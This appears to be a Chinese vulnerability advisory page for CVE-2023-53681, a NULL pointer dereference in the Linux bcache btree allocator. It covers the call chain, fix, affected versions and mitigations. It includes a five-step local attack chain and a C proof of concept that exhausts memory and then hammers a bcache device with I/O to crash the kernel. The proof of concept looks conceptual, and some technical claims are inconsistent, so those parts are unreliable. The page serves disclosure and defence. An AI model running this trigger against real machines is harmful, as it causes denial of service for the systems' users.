IPBUF安全漏洞报告
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CVE-2023-53681 CVSS 5.5 中危

CVE-2023-53681 Linux内核bcache子系统NULL指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53681
漏洞类型
NULL指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel bcache子系统

相关标签

NULL指针解引用Linux内核bcache本地提权拒绝服务内核漏洞块设备内存安全CVE-2023-53681

漏洞概述

CVE-2023-53681是Linux内核bcache(块设备缓存)子系统中的一个NULL指针解引用漏洞。该漏洞位于__bch_btree_node_alloc函数中,在某些特定情况下,该函数可能返回NULL值。由于调用者函数(如btree_split->bch_btree_node_alloc->__bch_btree_node_alloc调用链)未对返回值进行充分的NULL检查,可能导致潜在的NULL指针解引用问题。当系统尝试使用返回的NULL指针进行内存操作时,内核将发生崩溃,从而影响系统的可用性。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可触发,无需用户交互。虽然该漏洞主要影响系统的可用性(高影响),但也可能对机密性产生一定影响。该漏洞已在多个Linux内核稳定版本中通过初始化__bch_btree_node_alloc函数的返回值进行了修复,确保在分配失败时返回一致的错误状态,避免NULL指针解引用的发生。bcache是Linux内核中用于将快速SSD设备作为慢速HDD设备缓存的块设备层驱动程序,广泛应用于各种Linux服务器和桌面系统中。

技术细节

该漏洞的根本原因在于__bch_btree_node_alloc函数在内存分配失败时可能返回未初始化的指针或NULL值。具体技术细节如下:

1. **漏洞位置**:__bch_btree_node_alloc函数位于drivers/md/bcache/btree.c文件中,负责分配btree节点内存。

2. **触发条件**:当系统内存不足或特定条件下,内存分配操作可能失败,导致函数返回NULL指针。

3. **调用链分析**:完整的调用链为btree_split -> bch_btree_node_alloc -> __bch_btree_node_alloc。在btree_split函数中,会调用bch_btree_node_alloc来分配新的btree节点,如果分配失败返回NULL,后续操作将直接对NULL指针进行解引用。

4. **漏洞原理**:在原始代码中,__bch_btree_node_alloc函数在分配失败路径上没有正确初始化返回值,导致返回未定义的内存内容。当调用者未进行NULL检查时,可能将垃圾值当作有效指针使用,造成内核崩溃。

5. **修复方案**:通过在__bch_btree_node_alloc函数中初始化返回值为NULL(或适当的错误码),确保在分配失败时返回一致的值,调用者可以通过检查返回值来正确处理错误情况。

6. **利用方式**:本地攻击者可以通过触发bcache设备的btree操作(如在高I/O负载下使用bcache设备),制造内存分配失败条件,触发NULL指针解引用导致系统拒绝服务。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要获得目标系统的本地低权限访问权限,可以通过普通用户账号登录或利用其他漏洞获取本地shell。
STEP 2
步骤2:确认bcache设备存在
攻击者检查系统中是否存在bcache设备(通常为/dev/bcache*),确认目标系统使用了bcache块设备缓存功能。
STEP 3
步骤3:制造内存压力
攻击者通过分配大量内存(如多次malloc大块内存),消耗系统可用内存,增加后续内存分配失败的概率。
STEP 4
步骤4:触发btree节点分配
攻击者对bcache设备执行大量I/O操作(读写),触发btree的分裂操作(btree_split),进而调用bch_btree_node_alloc和__bch_btree_node_alloc进行节点分配。
STEP 5
步骤5:触发NULL指针解引用
在内存压力下,__bch_btree_node_alloc返回未初始化或NULL的指针,调用者未进行充分检查即使用该指针,导致内核NULL指针解引用,系统崩溃或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53681 PoC - Trigger NULL pointer dereference in bcache btree allocation // This PoC demonstrates how to trigger the vulnerability by stressing bcache // to cause memory allocation failure in __bch_btree_node_alloc #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/mount.h> // Note: This vulnerability requires kernel-level access to bcache device // The following demonstrates the concept of triggering btree split operations // under memory pressure to cause allocation failure #define BCACHE_IOCTL_RUN 1 int main(int argc, char *argv[]) { int fd; char bcache_dev[256]; if (argc < 2) { fprintf(stderr, "Usage: %s <bcache_device>\n", argv[0]); return 1; } snprintf(bcache_dev, sizeof(bcache_dev), "/dev/%s", argv[1]); fd = open(bcache_dev, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Step 1: Create memory pressure to increase allocation failure chance // Allocate large amounts of memory to exhaust available memory size_t alloc_size = 1024 * 1024 * 1024; // 1GB chunks void **ptrs = malloc(sizeof(void*) * 64); int i; for (i = 0; i < 64; i++) { ptrs[i] = malloc(alloc_size); if (!ptrs[i]) break; memset(ptrs[i], 0, alloc_size); } // Step 2: Perform intensive I/O operations on bcache device // This triggers btree operations including splits char buf[4096]; memset(buf, 'A', sizeof(buf)); for (int j = 0; j < 10000; j++) { lseek(fd, j * 4096, SEEK_SET); write(fd, buf, sizeof(buf)); // Read back to trigger btree node operations lseek(fd, j * 4096, SEEK_SET); read(fd, buf, sizeof(buf)); } // Cleanup for (int k = 0; k < i; k++) { free(ptrs[k]); } free(ptrs); close(fd); printf("PoC execution completed. Check kernel logs for Oops/panic.\n"); return 0; }

影响范围

Linux Kernel < 5.10.175
Linux Kernel 5.11.x < 5.15.104
Linux Kernel 5.16.x < 6.1.21
Linux Kernel 6.2.x < 6.2.8

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对bcache设备的访问权限,通过文件系统权限控制防止未授权用户操作bcache设备;2)监控系统内存使用情况,避免内存耗尽情况的发生;3)如果业务允许,可以暂时卸载bcache模块(rmmod bcache),但这会影响使用bcache缓存的功能;4)配置cgroup限制用户可使用的内存量,降低触发内存分配失败的概率;5)启用内核的panic自动重启功能,减少漏洞对服务可用性的影响时间。

参考链接

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